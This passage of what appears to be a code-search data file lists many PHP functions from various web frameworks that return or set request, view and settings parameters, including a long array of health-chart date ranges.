$this->exerciseUnits,\r\n 'glucoseUnits' => $this->glucoseUnits,\r\n 'sleepUnits' => $this->sleepUnits,\r\n 'weightUnits' => $this->weightUnits,\r\n 'timeFormat' => $this->timeFormat,\r\n 'durationFormat' => $this->durationFormat,\r\n 'showTooltips' => $this->showTooltips,\r\n 'showSecondaryCols' => $this->showSecondaryCols,\r\n 'showDateCol' => $this->showDateCol,\r\n 'showTimeCol' => $this->showTimeCol,\r\n 'showNotesCol' => $this->showNotesCol,\r\n 'numRows' => $this->numRows,\r\n 'showTable' => $this->showTable,\r\n 'tableSize' => $this->tableSize,\r\n 'chartPlacement' => $this->chartPlacement,\r\n 'showFirstChart' => $this->showFirstChart,\r\n 'showSecondChart' => $this->showSecondChart,\r\n 'firstChartType' => $this->firstChartType,\r\n 'secondChartType' => $this->secondChartType,\r\n 'chartLastYear' => $this->chartLastYear,\r\n 'chartGroupDays' => $this->chartGroupDays,\r\n 'individualBloodPressureChartStart' => $this->individualBloodPressureChartStart->format(self::DATE_FORMAT),\r\n 'individualBloodPressureChartEnd' => $this->individualBloodPressureChartEnd->format(self::DATE_FORMAT),\r\n 'dailyBloodPressureChartStart' => $this->dailyBloodPressureChartStart->format(self::DATE_FORMAT),\r\n 'dailyBloodPressureChartEnd' => $this->dailyBloodPressureChartEnd->format(self::DATE_FORMAT),\r\n 'weeklyBloodPressureChartStart' => $this->weeklyBloodPressureChartStart->format(self::DATE_FORMAT),\r\n 'weeklyBloodPressureChartEnd' => $this->weeklyBloodPressureChartEnd->format(self::DATE_FORMAT),\r\n 'monthlyBloodPressureChartStart' => $this->monthlyBloodPressureChartStart->format(self::DATE_FORMAT),\r\n 'monthlyBloodPressureChartEnd' => $this->monthlyBloodPressureChartEnd->format(self::DATE_FORMAT),\r\n 'yearlyBloodPressureChartStart' => $this->yearlyBloodPressureChartStart->format(self::DATE_FORMAT),\r\n 'yearlyBloodPressureChartEnd' => $this->yearlyBloodPressureChartEnd->format(self::DATE_FORMAT),\r\n 'individualCaloriesChartStart' => $this->individualCaloriesChartStart->format(self::DATE_FORMAT),\r\n 'individualCaloriesChartEnd' => $this->individualCaloriesChartEnd->format(self::DATE_FORMAT),\r\n 'dailyCaloriesChartStart' => $this->dailyCaloriesChartStart->format(self::DATE_FORMAT),\r\n 'dailyCaloriesChartEnd' => $this->dailyCaloriesChartEnd->format(self::DATE_FORMAT),\r\n 'weeklyCaloriesChartStart' => $this->weeklyCaloriesChartStart->format(self::DATE_FORMAT),\r\n 'weeklyCaloriesChartEnd' => $this->weeklyCaloriesChartEnd->format(self::DATE_FORMAT),\r\n 'monthlyCaloriesChartStart' => $this->monthlyCaloriesChartStart->format(self::DATE_FORMAT),\r\n 'monthlyCaloriesChartEnd' => $this->monthlyCaloriesChartEnd->format(self::DATE_FORMAT),\r\n 'yearlyCaloriesChartStart' => $this->yearlyCaloriesChartStart->format(self::DATE_FORMAT),\r\n 'yearlyCaloriesChartEnd' => $this->yearlyCaloriesChartEnd->format(self::DATE_FORMAT),\r\n 'individualExerciseChartStart' => $this->individualExerciseChartStart->format(self::DATE_FORMAT),\r\n 'individualExerciseChartEnd' => $this->individualExerciseChartEnd->format(self::DATE_FORMAT),\r\n 'dailyExerciseChartStart' => $this->dailyExerciseChartStart->format(self::DATE_FORMAT),\r\n 'dailyExerciseChartEnd' => $this->dailyExerciseChartEnd->format(self::DATE_FORMAT),\r\n 'weeklyExerciseChartStart' => $this->weeklyExerciseChartStart->format(self::DATE_FORMAT),\r\n 'weeklyExerciseChartEnd' => $this->weeklyExerciseChartEnd->format(self::DATE_FORMAT),\r\n 'monthlyExerciseChartStart' => $this->monthlyExerciseChartStart->format(self::DATE_FORMAT),\r\n 'monthlyExerciseChartEnd' => $this->monthlyExerciseChartEnd->format(self::DATE_FORMAT),\r\n 'yearlyExerciseChartStart' => $this->yearlyExerciseChartStart->format(self::DATE_FORMAT),\r\n 'yearlyExerciseChartEnd' => $this->yearlyExerciseChartEnd->format(self::DATE_FORMAT),\r\n 'individualGlucoseChartStart' => $this->individualGlucoseChartStart->format(self::DATE_FORMAT),\r\n 'individualGlucoseChartEnd' => $this->individualGlucoseChartEnd->format(self::DATE_FORMAT),\r\n 'dailyGlucoseChartStart' => $this->dailyGlucoseChartStart->format(self::DATE_FORMAT),\r\n 'dailyGlucoseChartEnd' => $this->dailyGlucoseChartEnd->format(self::DATE_FORMAT),\r\n 'weeklyGlucoseChartStart' => $this->weeklyGlucoseChartStart->format(self::DATE_FORMAT),\r\n 'weeklyGlucoseChartEnd' => $this->weeklyGlucoseChartEnd->format(self::DATE_FORMAT),\r\n 'monthlyGlucoseChartStart' => $this->monthlyGlucoseChartStart->format(self::DATE_FORMAT),\r\n 'monthlyGlucoseChartEnd' => $this->monthlyGlucoseChartEnd->format(self::DATE_FORMAT),\r\n 'yearlyGlucoseChartStart' => $this->yearlyGlucoseChartStart->format(self::DATE_FORMAT),\r\n 'yearlyGlucoseChartEnd' => $this->yearlyGlucoseChartEnd->format(self::DATE_FORMAT),\r\n 'individualSleepChartStart' => $this->individualSleepChartStart->format(self::DATE_FORMAT),\r\n 'individualSleepChartEnd' => $this->individualSleepChartEnd->format(self::DATE_FORMAT),\r\n 'dailySleepChartStart' => $this->dailySleepChartStart->format(self::DATE_FORMAT),\r\n 'dailySleepChartEnd' => $this->dailySleepChartEnd->format(self::DATE_FORMAT),\r\n 'weeklySleepChartStart' => $this->weeklySleepChartStart->format(self::DATE_FORMAT),\r\n 'weeklySleepChartEnd' => $this->weeklySleepChartEnd->format(self::DATE_FORMAT),\r\n 'monthlySleepChartStart' => $this->monthlySleepChartStart->format(self::DATE_FORMAT),\r\n 'monthlySleepChartEnd' => $this->monthlySleepChartEnd->format(self::DATE_FORMAT),\r\n 'yearlySleepChartStart' => $this->yearlySleepChartStart->format(self::DATE_FORMAT),\r\n 'yearlySleepChartEnd' => $this->yearlySleepChartEnd->format(self::DATE_FORMAT),\r\n 'individualWeightChartStart' => $this->individualWeightChartStart->format(self::DATE_FORMAT),\r\n 'individualWeightChartEnd' => $this->individualWeightChartEnd->format(self::DATE_FORMAT),\r\n 'dailyWeightChartStart' => $this->dailyWeightChartStart->format(self::DATE_FORMAT),\r\n 'dailyWeightChartEnd' => $this->dailyWeightChartEnd->format(self::DATE_FORMAT),\r\n 'weeklyWeightChartStart' => $this->weeklyWeightChartStart->format(self::DATE_FORMAT),\r\n 'weeklyWeightChartEnd' => $this->weeklyWeightChartEnd->format(self::DATE_FORMAT),\r\n 'monthlyWeightChartStart' => $this->monthlyWeightChartStart->format(self::DATE_FORMAT),\r\n 'monthlyWeightChartEnd' => $this->monthlyWeightChartEnd->format(self::DATE_FORMAT),\r\n 'yearlyWeightChartStart' => $this->yearlyWeightChartStart->format(self::DATE_FORMAT),\r\n 'yearlyWeightChartEnd' => $this->yearlyWeightChartEnd->format(self::DATE_FORMAT)\r\n );\r\n \r\n return $paramArray;\r\n }", "public function get_params()\n {\n }", "public function get_params()\n {\n }", "public function getServerParams() {}", "public function getServerParams()\n {\n }", "function getParams() {\r\n global $id;\r\n global $mode;\r\n global $view_mode;\r\n global $edit_mode;\r\n global $data_source;\r\n global $tab;\r\n if (isset($id)) {\r\n $this->id=$id;\r\n }\r\n if (isset($mode)) {\r\n $this->mode=$mode;\r\n }\r\n if (isset($view_mode)) {\r\n $this->view_mode=$view_mode;\r\n }\r\n if (isset($edit_mode)) {\r\n $this->edit_mode=$edit_mode;\r\n }\r\n if (isset($data_source)) {\r\n $this->data_source=$data_source;\r\n }\r\n if (isset($tab)) {\r\n $this->tab=$tab;\r\n }\r\n}", "function url_get_parameters() {\n $this->init_full();\n return array('id' => $this->modulerecord->id, 'pageid' => $this->lessonpageid);;\n }", "public function parameters()\n {\n return [\n 'dir' => $this->input('dir'),\n 'hash' => $this->input('hash', ''),\n 'data' => $this->input('data'),\n 'name' => $this->input('name'),\n 'type' => $this->input('type'),\n 'offset' => $this->input('offset'),\n 'eof' => $this->input('eof'),\n ];\n }", "function getParams() {\n global $id;\n global $mode;\n global $view_mode;\n global $edit_mode;\n global $tab;\n if (isset($id)) {\n $this->id=$id;\n }\n if (isset($mode)) {\n $this->mode=$mode;\n }\n if (isset($view_mode)) {\n $this->view_mode=$view_mode;\n }\n if (isset($edit_mode)) {\n $this->edit_mode=$edit_mode;\n }\n if (isset($tab)) {\n $this->tab=$tab;\n }\n}", "function getParams() {\n global $id;\n global $mode;\n global $view_mode;\n global $edit_mode;\n global $tab;\n if (isset($id)) {\n $this->id=$id;\n }\n if (isset($mode)) {\n $this->mode=$mode;\n }\n if (isset($view_mode)) {\n $this->view_mode=$view_mode;\n }\n if (isset($edit_mode)) {\n $this->edit_mode=$edit_mode;\n }\n if (isset($tab)) {\n $this->tab=$tab;\n }\n}", "function getParams() {\n global $id;\n global $mode;\n global $view_mode;\n global $edit_mode;\n global $tab;\n if (isset($id)) {\n $this->id=$id;\n }\n if (isset($mode)) {\n $this->mode=$mode;\n }\n if (isset($view_mode)) {\n $this->view_mode=$view_mode;\n }\n if (isset($edit_mode)) {\n $this->edit_mode=$edit_mode;\n }\n if (isset($tab)) {\n $this->tab=$tab;\n }\n}", "public static function get_params() {\n\n\t\t\t$params = array(\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'admin_label' => true,\n\t\t\t\t\t'heading' => esc_html__( 'Height', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'size',\n\t\t\t\t\t'value' => '30px',\n\t\t\t\t\t'description' => vcex_shortcode_param_description( 'height' ),\n\t\t\t\t\t'dependency' => array( 'element' => 'responsive', 'value' => 'false' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_ofswitch',\n\t\t\t\t\t'heading' => esc_html__( 'Responsive?', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'responsive',\n\t\t\t\t\t'value' => 'false',\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_responsive_sizes',\n\t\t\t\t\t'heading' => esc_html__( 'Height', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'size_responsive',\n\t\t\t\t\t'value' => '30px',\n\t\t\t\t\t'description' => vcex_shortcode_param_description( 'height' ),\n\t\t\t\t\t'dependency' => array( 'element' => 'responsive', 'value' => 'true' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Custom Classes', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'class',\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_visibility',\n\t\t\t\t\t'heading' => esc_html__( 'Visibility', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'visibility',\n\t\t\t\t),\n\t\t\t);\n\n\t\t\treturn apply_filters( 'vcex_shortcode_params', $params, 'vcex_spacing' );\n\n\t\t}", "protected function loadDefaultViewParameters()\n {\n # Load Hook component\n $this->oHook = new Hook();\n $this->aView['aHooks'] = array();\n\n $this->aView['aSession'] = $this->oSession->get();\n // @todo provisoire\n if (isset($this->aView['aSession']['auth'])) {\n $aUserSession = $this->aView['aSession']['auth'];\n $this->aView['sGravatarSrc16'] = Gravatar::getGravatar($aUserSession['mail'], 16);\n $this->aView['sGravatarSrc32'] = Gravatar::getGravatar($aUserSession['mail'], 32);\n $this->aView['sGravatarSrc64'] = Gravatar::getGravatar($aUserSession['mail'], 64);\n $this->aView['sGravatarSrc128'] = Gravatar::getGravatar($aUserSession['mail'], 128);\n }\n\n // Views common couch\n $this->aView[\"appLayout\"] = '../../../app/Views/layout.tpl'; // @todo degager ca ou computer\n $this->aView[\"helpers\"] = '../../../app/Views/helpers/';\n\n // Bootstrap\n $oBundles = new Bundles();\n $this->aView[\"aAppBundles\"] = $oBundles->get();\n $this->aView[\"sAppName\"] = $this->aConfig['app']['name'];\n $this->aView[\"sAppSupportName\"] = $this->aConfig['support']['name'];\n $this->aView[\"sAppSupportMail\"] = $this->aConfig['support']['email'];\n $this->aView[\"sAppIcon\"] = '/lib/bundles/' . $this->sBundleName . '/img/icon.png';\n\n // MVC infos\n $this->aView['sLocale'] = $this->sLang;\n $this->aView['sBundle'] = $this->sBundleName;\n $this->aView[\"sController\"] = $this->sController;\n $this->aView[\"sControllerName\"] = substr($this->sController, 0, strlen($this->sController) - strlen('controller'));\n $this->aView[\"sAction\"] = $this->sAction;\n $this->aView[\"sActionName\"] = substr($this->sAction, 0, strlen($this->sAction) - strlen('action'));\n\n // debug\n $this->aView[\"sEnv\"] = ENV;\n $this->aView[\"sDeBugHelper\"] = '../../../app/Views/helpers/debug.tpl';\n $this->aView[\"bIsXhr\"] = $this->isXHR();\n\n // Benchmark\n $this->aView['framework_started'] = FRAMEWORK_STARTED;\n $this->aView['current_timestamp'] = time();\n }", "public static function data_for_plans_page_parameters() {\n $userid = new external_value(\n PARAM_INT,\n 'The user id',\n VALUE_REQUIRED\n );\n $params = array('userid' => $userid);\n return new external_function_parameters($params);\n }", "public function getParameters() {}", "public function renderParamJs() {\n $script = '<script type=\"text/javascript\"> if(typeof TAMI.pagedata ==\"undefined\"){TAMI.pagedata={}; } ';\n\n foreach ($this->paramjs as $key => $val) {\n $script = $script . ' TAMI.pagedata.' . $key . '=' . json_encode($val) . '; ';\n }\n\n $script = $script . ' </script>';\n\n return $script;\n }", "public function getViewParams($params = []);", "protected function renderData()\n {\n $this->view->baseUrl = $this->_baseUrl;\n $this->view->staticUrl = Zend_Registry::get('static');\n $this->view->version = Zend_Registry::get('version');\n $this->view->hostUrl = Zend_Registry::get('host');\n $this->view->photoUrl = Zend_Registry::get('photo');\n $this->view->adminUser = $this->_user;\n\n $this->view->isSuperUser = $this->_isSuperUser;\n $this->view->isViewer = $this->_isViewer;\n $this->view->isWatcher = $this->_isWatcher;\n $this->view->isEditor = $this->_isEditor;\n }", "function getParams() {\r\n global $id;\r\n global $mode;\r\n global $view_mode;\r\n global $edit_mode;\r\n global $tab;\r\n if (isset($id)) {\r\n $this->id=$id;\r\n }\r\n if (isset($mode)) {\r\n $this->mode=$mode;\r\n }\r\n if (isset($view_mode)) {\r\n $this->view_mode=$view_mode;\r\n }\r\n if (isset($edit_mode)) {\r\n $this->edit_mode=$edit_mode;\r\n }\r\n if (isset($tab)) {\r\n $this->tab=$tab;\r\n }\r\n}", "function getParams() {\r\n global $id;\r\n global $mode;\r\n global $view_mode;\r\n global $edit_mode;\r\n global $tab;\r\n if (isset($id)) {\r\n $this->id=$id;\r\n }\r\n if (isset($mode)) {\r\n $this->mode=$mode;\r\n }\r\n if (isset($view_mode)) {\r\n $this->view_mode=$view_mode;\r\n }\r\n if (isset($edit_mode)) {\r\n $this->edit_mode=$edit_mode;\r\n }\r\n if (isset($tab)) {\r\n $this->tab=$tab;\r\n }\r\n}", "protected function populateParams()\n\t{\n\n\t\tparent::populateParams();\n\t\t//$acl = ZefaniabibleHelper::getAcl();\n\t\t$mdl_acl = new ZefaniabibleHelper;\n\t\t$acl = $mdl_acl->getAcl();\n\t\tif (!isset($this->_data))\n\t\t\treturn;\n\n\t\t// Convert the parameter fields into objects.\n\t\tforeach ($this->_data as &$item)\n\t\t{\n\n\t\t\tif ($acl->get('core.edit.state')\n\t\t\t\t|| (bool)$item->publish)\n\t\t\t\t$item->params->set('access-view', true);\n\n\t\t\tif ($acl->get('core.edit'))\n\t\t\t\t$item->params->set('access-edit', true);\n\n\t\t\tif ($acl->get('core.delete'))\n\t\t\t\t$item->params->set('access-delete', true);\n\n\n\t\t}\n\n\t}", "public static function settings_to_params() {\n\t\t\treturn [\n\t\t\t\t'full_width_border_color' => 'border_color',\n\t\t\t\t'full_width_border_size' => 'border_size',\n\t\t\t\t'full_width_bg_color' => 'background_color',\n\t\t\t\t'full_width_gradient_start_color' => 'gradient_start_color',\n\t\t\t\t'full_width_gradient_end_color' => 'gradient_end_color',\n\t\t\t\t'link_color' => 'link_color',\n\t\t\t\t'link_hover_color' => 'primary_color',\n\t\t\t];\n\t\t}", "public static function render_block_html_page_parameters() {\n return new external_function_parameters(\n array(\n 'courseid' => new external_value(PARAM_INT, 'course id int', VALUE_DEFAULT, null),\n 'activityid' => new external_value(PARAM_INT, 'activity id int', VALUE_DEFAULT, null),\n 'moduletype' => new external_value(PARAM_RAW, 'moduletype text', VALUE_DEFAULT, null),\n 'selectgroupid' => new external_value(PARAM_RAW, 'selectgroupid text', VALUE_DEFAULT, null),\n )\n );\n }", "function getParams() {\n global $id;\n global $mode;\n global $view_mode;\n global $edit_mode;\n global $tab;\n if (isset($id)) {\n $this->id=$id;\n }\n if (isset($mode)) {\n $this->mode=$mode;\n }\n if (isset($view_mode)) {\n $this->view_mode=$view_mode;\n }\n if (isset($edit_mode)) {\n $this->edit_mode=$edit_mode;\n }\n if (isset($tab)) {\n $this->tab=$tab;\n }\n\n\n\n}", "public static function get_params() {\n\n\t\t\t$params = array(\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Shortcode', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'content',\n\t\t\t\t\t'admin_label' => true,\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'dropdown',\n\t\t\t\t\t'heading' => esc_html__( 'Bottom Margin', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'bottom_margin',\n\t\t\t\t\t'value' => vcex_margin_choices(),\n\t\t\t\t\t'admin_label' => true,\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_visibility',\n\t\t\t\t\t'heading' => esc_html__( 'Visibility', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'visibility',\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Extra class name', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'el_class',\n\t\t\t\t\t'description' => esc_html__( 'Style particular content element differently - add a class name and refer to it in custom CSS.', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tvcex_vc_map_add_css_animation(),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Animation Duration', 'total'),\n\t\t\t\t\t'param_name' => 'animation_duration',\n\t\t\t\t\t'description' => esc_html__( 'Enter your custom time in seconds (decimals allowed).', 'total'),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Animation Delay', 'total'),\n\t\t\t\t\t'param_name' => 'animation_delay',\n\t\t\t\t\t'description' => esc_html__( 'Enter your custom time in seconds (decimals allowed).', 'total'),\n\t\t\t\t),\n\t\t\t);\n\n\t\t\treturn apply_filters( 'vcex_shortcode_params', $params, 'vcex_shortcode' );\n\n\t\t}", "private function initViewVars()\n {\n $this->viewEngine->vars['loggedUserId'] = $this->model->config->getVar('loggedUserId');\n $this->viewEngine->vars['isUserLogged'] = $this->model->config->getVar('isUserLogged');\n $this->viewEngine->vars['loggedUserRole'] = $this->model->config->getVar('loggedUserRole');\n\n $this->viewEngine->vars['charset'] = $this->model->config->getModuleVar('common', 'charset');\n $this->viewEngine->vars['stylesFolder'] = JAPA_PUBLIC_DIR . 'styles/'.$this->model->config->getModuleVar('common', 'styles_folder');\n $this->viewEngine->vars['scriptsFolder'] = JAPA_PUBLIC_DIR . 'scripts/'.$this->model->config->getModuleVar('common', 'scripts_folder');\n $this->viewEngine->vars['imagesFolder'] = JAPA_PUBLIC_DIR . 'scripts/'.$this->model->config->getModuleVar('common', 'images_folder');\n $this->viewEngine->vars['viewsFolder'] = JAPA_PUBLIC_DIR . 'scripts/'.$this->model->config->getModuleVar('common', 'views_folder');\n $this->viewEngine->vars['controllersFolder'] = JAPA_PUBLIC_DIR . 'scripts/'.$this->model->config->getModuleVar('common', 'controllers_folder');\n $this->viewEngine->vars['urlBase'] = $this->router->getBase();\n $this->viewEngine->vars['adminWebController'] = $this->model->config->getVar('default_module_application_controller');\n $this->viewEngine->vars['default_lang'] = $this->model->config->getModuleVar('common', 'default_lang');\n }", "public function parameters();", "public function parameters();", "public function get_url_params()\n {\n }", "public static function render_student_settings_popup_parameters() {\n return new external_function_parameters(\n array(\n 'activityid' => new external_value(PARAM_INT, 'activity id int', VALUE_DEFAULT, null),\n 'moduletype' => new external_value(PARAM_RAW, 'moduletype text', VALUE_DEFAULT, null),\n )\n );\n }", "protected function _generateParams()\r\n { \r\n $this->_transactionalParams = array('EmailAddress' =>$this->_emailPostedData['emailInfos'], 'storeId'=>$this->_emailPostedData['storeId']);\r\n $this->_mapValuesWithAttributes(); \r\n }", "public static function view_glossary_parameters() {\n return new external_function_parameters(array(\n 'id' => new external_value(PARAM_INT, 'Glossary instance ID'),\n 'mode' => new external_value(PARAM_ALPHA, 'The mode in which the glossary is viewed'),\n ));\n }", "public static function data_for_competencies_manage_page_parameters() {\n $competencyframeworkid = new external_value(\n PARAM_INT,\n 'The competency framework id',\n VALUE_REQUIRED\n );\n $search = new external_value(\n PARAM_RAW,\n 'A search string',\n VALUE_DEFAULT,\n ''\n );\n $params = array(\n 'competencyframeworkid' => $competencyframeworkid,\n 'search' => $search\n );\n return new external_function_parameters($params);\n }", "public function settings(){\n if (!$this->students->isLogin()) {\n\n header('Location:/login');\n die();\n }\n\n /**\n * Main Body Section ///////////////////////////////////////////////////////////////////////////////////////////\n */\n\n \n DataManager::getInstance()->addData('Students', $this->students);\n\n /**\n * Render///////////////////////////////////////////////////////////////////////////////////////////////////////\n */\n\n $this->render();\n }", "protected function populateParams()\n\t{\n\t\tparent::populateParams();\n\t\t$acl = ZefaniabibleHelper::getAcl();\n\t\tif (!isset($this->_data))\n\t\t\treturn;\n\t\t// Convert the parameter fields into objects.\n\t\tforeach ($this->_data as &$item)\n\t\t{\n\t\t\tif ($acl->get('core.edit.state')\n\t\t\t\t|| (bool)$item->publish)\n\t\t\t\t$item->params->set('access-view', true);\n\t\t\tif ($acl->get('core.edit'))\n\t\t\t\t$item->params->set('access-edit', true);\n\t\t\tif ($acl->get('core.delete'))\n\t\t\t\t$item->params->set('access-delete', true);\n\t\t}\n\t}", "public function get_collection_params() {\n\t\treturn array(\n\t\t\t'context' => $this->get_context_param( array( 'default' => 'view' ) ),\n\t\t);\n\t}", "public function getLayoutParameters(): array;", "public function getViewVars();", "public function getViewVars();", "public function getParamsListToInject(): array\n {\n return [\n 'sectionTitle',\n 'sectionSubtitle',\n 'tiles'\n ];\n }", "public function getDefaultDataParameters()\n {\n return [\n Config::PARAM_CURRENT_URL => $this->getCurrentUrl(),\n Config::PARAM_REFERRER_URL => $this->getReferrerUrl(),\n Config::PARAM_VISIT_TYPE => $this->getCookie(Config::COOKIE_VISIT_TYPE, 'first_time'),\n Config::PARAM_VERSION => Config::ANALYTICS_VERSION,\n Config::PARAM_VISIT_ID => $this->getCookie(Config::COOKIE_VISIT_ID, $this->generateRandomString())\n ];\n }", "public static function view_url_parameters() {\n return new external_function_parameters(\n array(\n 'urlid' => new external_value(PARAM_INT, 'url instance id')\n )\n );\n }", "public function getParameters();", "public function getParameters();", "public function getParameters();", "public function getParameters();", "public function getParameters();", "public function getParameters();", "public function getParameters();", "public function getParameters();", "public function generateParameters(Configurable $configuration, Requestable $request);", "public function params()\n {\n $services = $disciplines = [];\n foreach (Service::query()->select('name')->where('is_allowed', true)->get() as $service) {\n array_push($services, $service->name);\n }\n foreach (Discipline::query()->select('name')->where('is_allowed', true)->get() as $discipline) {\n array_push($disciplines, $discipline->name);\n }\n\n return $this->successResponse([\n 'services' => $services,\n 'disciplines' => $disciplines,\n 'pages' => Page::query()->where('is_allowed', true)->get(),\n 'costs' => Cost::query()->where('is_allowed', true)->get(),\n 'deadlines' => Deadline::query()->where('is_allowed', true)->get()->groupBy('metric')\n ]);\n }", "public static function get_parameters() {\n return array(\n array(\n 'name' => 'termlist_id',\n 'caption' => 'Term List',\n 'description' => 'The term list being edited.',\n 'type' => 'select',\n 'table' => 'termlist',\n 'captionField' => 'title',\n 'valueField' => 'id',\n 'siteSpecific'=>true,\n 'group' => 'Terms',\n 'required'=>true\n ),\n array(\n 'name' => 'language_id',\n 'caption' => 'Language',\n 'description' => 'The language that terms are created in.',\n 'type' => 'select',\n 'table' => 'language',\n 'captionField' => 'language',\n 'valueField' => 'id',\n 'siteSpecific'=>true,\n 'group' => 'Terms',\n 'required'=>true\n )\n );\n }", "public function cpt_params( ){\n\t\t\t\n\t\t\t$a = $this->cpt_args;\n\t\t\t\n\t\t\t$labels = $this->cpt_labels();\n\t\t\t\n\t\t\t$caps = $this->set_caps(\n\t\t\t\t\tarray( \n\t\t\t\t\t\t'cap_posts' => $a[ 'cap_posts' ], \n\t\t\t\t\t\t'cap_post' => $a[ 'cap_post' ] )\n\t\t\t\t);\n\t\t\t\n\t\t\t\n\t\t\t$params = array(\n\t\t\t\t'labels' => $labels,\n\t\t\t\t'capabilities' => $caps, \n\t\t\t\t'description' => $a[ 'description' ],\n\t\t\t\t'public' => true ,\n\t\t\t\t'publicly_queryable' => true,\n\t\t\t\t'query_var' => true,\n\t\t\t\t'show_ui' => true,\n\t\t\t\t'show_in_menu' => $a[ 'show_in_menu' ], //Toggle here to hide from main menu. \n\t\t\t\t'has_archive' => true, \n\t\t\t\t'hierarchical' => true,\n\t\t\t\t'menu_position' => $a[ 'menu_pos' ],\n\t\t\t\t'menu_icon' => 'dashicons-'. $a[ 'menu_icon' ],\n\t\t\t\t'supports' => $a[ 'supports' ], \n\t\t\t\t'capability_type'=>'post',\n\t\t\t\t'map_meta_cap'=> true, \n\t\t\t\t'rewrite' => array( 'slug' => $a[ 'rewrite' ] )\n\t\t\t);\n\t\t\t\n\t\t\treturn $params;\n\t\t\t\n\t\t}", "public function _config_para_view() {\n $this->controller->set('ControleAcessoConfig', $this->config);\n }", "public function getPageData()\n {\n $pagedata = parent::getPageData();\n $pagedata['title'] = 'ListControllerWithTabsSample';\n $pagedata['icon'] = 'fas fa-cubes';\n $pagedata['menu'] = 'SamplePlugin';\n\n return $pagedata;\n }", "public function getUrlParameters() {\n\t\t$parameters = $this->parameters;\n\t\tif ($this->profile) {\n\t\t\t$parameters['profile'] = $this->profile;\n\t\t}\n\t\treturn $parameters;\n\t}", "public function index()\n {\n $title = 'Configuration - Dashbord';\n $weights_class = new WeightsClass();\n $basic_db_class = new BasicDBClass();\n /* TODO:\n * Get number of active TAs\n * Get number of active Convenors\n * Get weights of done before weight: $module_repeatition_weights\n * Get weights of language priority to modules: $language_weights\n * Get weights of module priority to TAs: $module_priority_weights\n *\n * Filter and organise this data and send to view\n */\n\n $current_module_repeatition_weights = $weights_class->getAllCurrentModuleRepetitionWeights();\n $language_weights = $weights_class->getWeightForAllLanguagePriorities();\n $module_priority_weights = $weights_class->getWeightsForAllModulePriorities();\n $academicYears = $basic_db_class->getAllAcademicYears();\n $current_academic_year = $basic_db_class->getCurrentAcademicYear();\n\n return view('configurations.index')->with('current_module_repeatition_weights',$current_module_repeatition_weights)\n ->with('language_weights',$language_weights)\n ->with('module_priority_weights',$module_priority_weights)\n ->with('academicYears', $academicYears)\n ->with('current_academic_year', $current_academic_year)\n ->with('title', $title);\n }", "public function getParams() {}", "function getRouteParameters();", "public function dashboardSettings()\n {\n if(Gate::denies('admin')){\n return redirect()->back()->with('error',\"You don't have permission\");\n }\n $dashboard = config('global.dashboard');\n //dd($dashboard_configs);\n /*\n \"forms\" => \"1\"\n \"users\" => \"1\"\n \"groups\" => \"1\"\n \"departments\" => \"1\"\n \"submitted\" => \"1\"\n */\n $data = array(\n 'title' => 'Dashboard Settings',\n 'dashboard' => $dashboard\n );\n return view('settings.dashboard.index')->with($data);\n }", "function getParams() {\n global $id;\n global $file;\n global $teg;\n global $mode;\n global $view_mode;\n global $edit_mode;\n global $tab;\n\n\n if (isset($id)) {\n $this->id=$id;\n }\n if (isset($mode)) {\n $this->mode=$mode;\n }\n if (isset($view_mode)) {\n $this->view_mode=$view_mode;\n }\n if (isset($edit_mode)) {\n $this->edit_mode=$edit_mode;\n }\n if (isset($tab)) {\n $this->tab=$tab;\n }\n\n}", "public function render()\n {\n return view('adminhub::livewire.components.settings.attributes.show')\n ->layout('adminhub::layouts.base');\n }", "public function getPageData()\n {\n $pageData = parent::getPageData();\n $pageData['menu'] = 'sample';\n $pageData['title'] = 'bs4-components-twig';\n $pageData['icon'] = 'fa-magic';\n\n return $pageData;\n }", "public function get_collection_params()\n {\n }", "public function get_collection_params()\n {\n }", "public function get_collection_params()\n {\n }", "public function get_collection_params()\n {\n }", "public function get_collection_params()\n {\n }", "public function get_collection_params()\n {\n }", "public function get_collection_params()\n {\n }", "public function get_collection_params()\n {\n }", "public function get_collection_params()\n {\n }", "public function get_collection_params()\n {\n }", "public function get_collection_params()\n {\n }", "public function get_collection_params()\n {\n }", "public function get_collection_params()\n {\n }", "public function get_collection_params()\n {\n }" ]
